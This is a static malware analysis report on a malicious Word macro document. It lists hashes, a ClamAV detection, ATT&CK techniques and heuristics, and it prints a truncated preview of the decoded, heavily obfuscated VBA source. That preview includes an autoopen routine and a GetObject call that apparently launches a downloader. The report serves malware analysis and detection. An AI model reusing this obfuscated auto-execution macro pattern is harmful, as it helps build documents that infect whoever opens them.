Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a87033348ec28156…

MALICIOUS

Office (OLE)

164.2 KB Created: 2019-04-01 12:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-21
MD5: 39b83c0937e7d88a193edc15fc7c268a SHA-1: 1471500b39e97a02a1d142db89df92c9672bbc1b SHA-256: a87033348ec28156c13479dd766b9c6fa9b41df79d9770b9f334f21f2e6817af
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is identified as malicious by ClamAV and exhibits high-severity heuristics for VBA macros, including an AutoOpen macro and a GetObject call, indicating an attempt to execute code upon opening. The VBA script itself is heavily obfuscated, but the presence of AutoOpen and GetObject strongly suggests it's designed to download and execute a secondary payload. The primary IOC is the file's SHA256 hash.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-6931221-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6931221-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23118 bytes
SHA-256: f955df65cff3e205d82addbf81d5d875307dcc5e34623e9fc47fcfff39aa4a66
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "lABAAxk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "PAGDDA"
Attribute VB_Base = "0{501D72E0-95CA-4E24-9F06-6E7AA1A2041D}{CE30A4C5-87F4-4E91-9CB3-E136520C2A27}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "z_CCAA"
Attribute VB_Base = "0{3E184899-ED40-48D8-A179-9C0C95E63BBE}{7364B5A7-4DE9-445E-BC3B-D259B9480943}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zU1okUA"
Function JAAAUA()
   OkUBAQ _
= CStr(pUAU_X + 116707867 + 516065813 _
* CDate(DQAUcxA * ChrW(325014452 / CDate(iAZQAZ)))) _
+ Rnd(h1BBQA + (340789119 + 260335350) * _
CDate(AxDAGAQ_ * CVar(535798935 / CDate(TCDCA_))))
   zDDBADA _
= CStr(sA_ABQQ + 259317512 + 41403532 _
* CDate(mAAADA_ * ChrW(339408510 / CDate(JAAAXGUA)))) _
+ Rnd(I__BQAc + (338407806 + 134658921) * _
CDate(LZUAGA * CVar(764702621 / CDate(jUCUGA1B))))
   EZkQxQx _
= CStr(iUCAcZAG + 88966497 + 394178343 _
* CDate(KX4D_AAc * ChrW(637698855 / CDate(zQCA41)))) _
+ Rnd(BD4XZAXZ + (217727560 + 557925586) * _
CDate(iZDoAQ * CVar(684440462 / CDate(mwwADC))))
End Function
Function CUXAAA4c()
   pCAUwBcA _
= CStr(uDDA_A + 759973452 + 527470049 _
* CDate(UBxAA_XA * ChrW(574272963 / CDate(VDxADA)))) _
+ Rnd(fZABAoQ + (235023204 + 219588339) * _
CDate(lAAAZw * CVar(956599172 / CDate(nAGBUxZ))))
   K_GAo1Z _
= CStr(jUwAAAA + 570031726 + 69580249 _
* CDate(QA4CxAZ * ChrW(366545827 / CDate(MQ1wDoQ)))) _
+ Rnd(JwoAADw + (243815178 + 201875902) * _
CDate(KAZDXA * CVar(857256187 / CDate(IAkDAU))))
End Function
Sub autoopen()
sGwQA11
End Sub
Function sGwQA11()
On Error Resume Next
   C_DQAcG _
= CStr(c_CGXQ + 62742426 + 644734202 _
* CDate(bQCQ4QA * ChrW(277261086 / CDate(cAGAwx_)))) _
+ Rnd(BoAQ1QDQ + (474445185 + 916564153) * _
CDate(aAAwck * CVar(701059557 / CDate(FUBCG1Ak))))
   lQGkwQC4 _
= CStr(A1CAAD + 672567468 + 933822670 _
* CDate(lAZk11A1 * ChrW(614379727 / CDate(LkxDXAwA)))) _
+ Rnd(uoZDwA4o + (152625577 + 351980225) * _
CDate(BAAxQAAA * CVar(672616682 / CDate(BQXABA))))
   CxBBAwZ _
= CStr(ncCQAx + 153316099 + 30882516 _
* CDate(HDAACB * ChrW(387328764 / CDate(rCGAA1B_)))) _
+ Rnd(ZQZQA4 + (903739644 + 341684145) * _
CDate(Z1AAwAQ * CVar(406558833 / CDate(wQUBAAkA))))
Set ZBwCQAG = GetObject(PAGDDA.qwA_BAD.Text + z_CCAA.vx4D_D1 + PAGDDA.qwA_BAD)
   FAA_A4 _
= CStr(K1BZBD + 551131358 + 729163559 _
* CDate(UZQkAQAQ * ChrW(518000452 / CDate(WDQwQA_x)))) _
+ Rnd(aAwUAA + (228056675 + 423826524) * _
CDate(bcBAGAc1 * CVar(849857878 / CDate(EcwQXA1))))
   cUCxQUB1 _
= CStr(t_ZUAxUA + 892327107 + 450913011 _
* CDate(VDxDDooA * ChrW(162958052 / CDate(XDA1_AQ)))) _
+ Rnd(kQoAoQ_ + (157030188 + 894840054) * _
CDate(aAAAocAA * CVar(976825957 / CDate(jDBA4A))))
If 955461 = 955461 Then
   p1xcAAA _
= CStr(LcADDxG + 748825824 + 406957944 _
* CDate(YA_AAk * ChrW(536428696 / CDate(DQwAkDQU)))) _
+ Rnd(TUUAAU4X + (287851315 + 696061703) * _
CDate(ikoAAB1A * CVar(695712248 / CDate(cAGQcw))))
   qcAAoD_ _
= CStr(aQAAwAAA + 427624474 + 106388616 _
* CDate(qDAXUAA * ChrW(904082946 / CDate(YBBAAQ)))) _
+ Rnd(KBAUGAB + (812205452 + 471441303) * _
CDate(Zo_CAc4X * CVar(624268896 / CDate(OkwDABDX))))
   FCBAC_oZ _
= CStr(bAc_B4DZ + 331041224 + 589511286 _
* CDate(nCA1_AX * ChrW(310676114 / CDate(KGQAwCA)))) _
+ Rnd(LAUUBA + (483694242 + 552368124) * _
CDate(IwAXAX * CVar(647290823 / CDate(AAAQkcA))))
ZBwCQAG. _
ShOwWiNdOw = PAGDDA.b_BAAUU + PAGDDA.b_BAAUU + PAGDDA.b_BAAUU
   ixAUCA_ _
= CStr(ZwXAkDAB + 683533666 + 648843714 _
* CDate(N
... (truncated)

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